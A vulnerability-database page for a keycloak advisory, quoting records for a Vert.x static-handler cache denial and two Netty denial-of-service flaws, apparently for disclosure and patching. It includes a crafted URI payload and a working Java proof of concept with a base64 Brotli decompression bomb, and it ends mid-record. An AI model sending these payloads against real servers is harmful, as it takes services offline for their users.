Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Published
2026-04-15 00:42
Modified
2026-04-14 09:20
Summary
Vert
Details
Multiple security vulnerabilities affect the keycloak package. The Vert. See references for individual vulnerability details.
Severity
9.8 (Critical)
References
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "keycloak"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.4.11-r0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the keycloak package. The Vert. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-QI14017",
"modified": "2026-04-14T09:20:00Z",
"published": "2026-04-15T00:42:39.776045Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-QI14017.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-1002"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33871"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3p8m-j85q-pgmj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-45p5-v273-3qqr"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-4cx2-fc23-5wg6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-9342-92gg-6v29"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-cphf-4846-3xx9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fghv-69vj-qj49"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-h5fg-jpgr-rv9c"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-hq9p-pm7w-8p54"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-j288-q9x7-2f5v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w9fj-cfpg-grvv"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1002"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
}
],
"related": [],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Vert",
"upstream": [
"CVE-2026-1002",
"CVE-2026-33871",
"ghsa-3p8m-j85q-pgmj",
"ghsa-45p5-v273-3qqr",
"ghsa-4cx2-fc23-5wg6",
"ghsa-9342-92gg-6v29",
"ghsa-cphf-4846-3xx9",
"ghsa-fghv-69vj-qj49",
"ghsa-h5fg-jpgr-rv9c",
"ghsa-hq9p-pm7w-8p54",
"ghsa-j288-q9x7-2f5v",
"ghsa-w9fj-cfpg-grvv"
]
}
CVE-2026-1002 (GCVE-0-2026-1002)
Vulnerability from cvelistv5 – Published: 2026-01-15 20:50 – Updated: 2026-01-15 21:09
VLAI
EPSS
Title
Eclipse Vert.x Web static handler file access denial
Summary
The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.
The issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): https://github.com/eclipse-vertx/vert.x/pull/5895
Steps to reproduce
Given a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html
Mitgation
Disabling Static Handler cache fixes the issue.
StaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);
Severity
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/eclipse-vertx/vert.x/pull/5895 | patch |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Eclipse Vert.x | Eclipse Vert.x |
Affected:
4.0.0 , ≤ 4.5.23
(semver)
Affected: 5.0.0 , ≤ 5.0.6 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-1002",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-15T21:07:25.597990Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-15T21:09:22.172Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/vert-x3/vertx-web/issues/2836"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://repo.maven.apache.org/maven2",
"defaultStatus": "unaffected",
"packageName": "io.vertx",
"product": "Eclipse Vert.x",
"repo": "https://github.com/eclipse-vertx/vert.x",
"vendor": "Eclipse Vert.x",
"versions": [
{
"lessThanOrEqual": "4.5.23",
"status": "affected",
"version": "4.0.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "5.0.6",
"status": "affected",
"version": "5.0.0",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.\u003c/p\u003e\n\u003cp\u003eThe issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://github.com/eclipse-vertx/vert.x/pull/5895\"\u003ehttps://github.com/eclipse-vertx/vert.x/pull/5895\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e\n\u003ca target=\"_blank\" rel=\"nofollow\"\u003e\u003c/a\u003e\u003c/h2\u003e\u003ch2\u003eSteps to reproduce\u003c/h2\u003e\n\u003cp\u003eGiven a file served by the static handler, craft an URI that introduces a string like \u003ccode\u003ebar%2F..%2F\u003c/code\u003e after the last \u003ccode\u003e/\u003c/code\u003e char to deny the access to the URI with an HTTP 404 response. For example \u003ccode\u003ehttps://example.com/foo/index.html\u003c/code\u003e can be denied with \u003ccode\u003ehttps://example.com/foo/bar%2F..%2Findex.html\u003c/code\u003e\u003c/p\u003e\u003ch2\u003eMitgation\u003c/h2\u003e\n\u003cp\u003eDisabling Static Handler cache fixes the issue.\u003c/p\u003e\n\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003eStaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cbr\u003e"
}
],
"value": "The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.\n\n\nThe issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): https://github.com/eclipse-vertx/vert.x/pull/5895 \n\n\n\nSteps to reproduce\nGiven a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html\n\nMitgation\nDisabling Static Handler cache fixes the issue.\n\n\n\nStaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);"
}
],
"impacts": [
{
"capecId": "CAPEC-153",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-153 Input Data Manipulation"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "LOW",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-444",
"description": "CWE-444",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-15T20:50:25.642Z",
"orgId": "e51fbebd-6053-4e49-959f-1b94eeb69a2c",
"shortName": "eclipse"
},
"references": [
{
"tags": [
"patch"
],
"url": "https://github.com/eclipse-vertx/vert.x/pull/5895"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Eclipse Vert.x Web static handler file access denial",
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "e51fbebd-6053-4e49-959f-1b94eeb69a2c",
"assignerShortName": "eclipse",
"cveId": "CVE-2026-1002",
"datePublished": "2026-01-15T20:50:25.642Z",
"dateReserved": "2026-01-15T18:23:48.276Z",
"dateUpdated": "2026-01-15T21:09:22.172Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-33871 (GCVE-0-2026-33871)
Vulnerability from cvelistv5 – Published: 2026-03-27 19:55 – Updated: 2026-03-31 18:54
VLAI
EPSS
Title
Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass
Summary
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, a remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server's lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive. Versions 4.1.132.Final and 4.2.10.Final fix the issue.
Severity
CWE
- CWE-770 - Allocation of Resources Without Limits or Throttling
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-33871",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-31T18:51:31.168118Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-31T18:54:19.771Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003c 4.1.132.Final"
},
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.10.Final"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, a remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server\u0027s lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive. Versions 4.1.132.Final and 4.2.10.Final fix the issue."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T19:55:23.135Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/netty/netty/security/advisories/GHSA-w9fj-cfpg-grvv",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-w9fj-cfpg-grvv"
}
],
"source": {
"advisory": "GHSA-w9fj-cfpg-grvv",
"discovery": "UNKNOWN"
},
"title": "Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-33871",
"datePublished": "2026-03-27T19:55:23.135Z",
"dateReserved": "2026-03-24T15:10:05.679Z",
"dateUpdated": "2026-03-31T18:54:19.771Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-3P8M-J85Q-PGMJ
Vulnerability from github – Published: 2025-09-03 18:00 – Updated: 2025-09-04 13:51
VLAI
Summary
Netty's decoders vulnerable to DoS via zip bomb style attack
Details
Summary
With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.
Details
BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.
Tested on 4.1.118, but there were no changes to the decoder since.
PoC
Run this test case with -Xmx1G:
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Error:
Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
at io.netty.handler.codec.compression.T.main(T.java:11)
Impact
DoS for anyone using BrotliDecoder on untrusted input.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.5.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.125.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58057"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-03T18:00:55Z",
"nvd_published_at": "2025-09-04T10:42:32Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n public static void main(String[] args) {\n EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
"id": "GHSA-3p8m-j85q-pgmj",
"modified": "2025-09-04T13:51:43Z",
"published": "2025-09-03T18:00:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
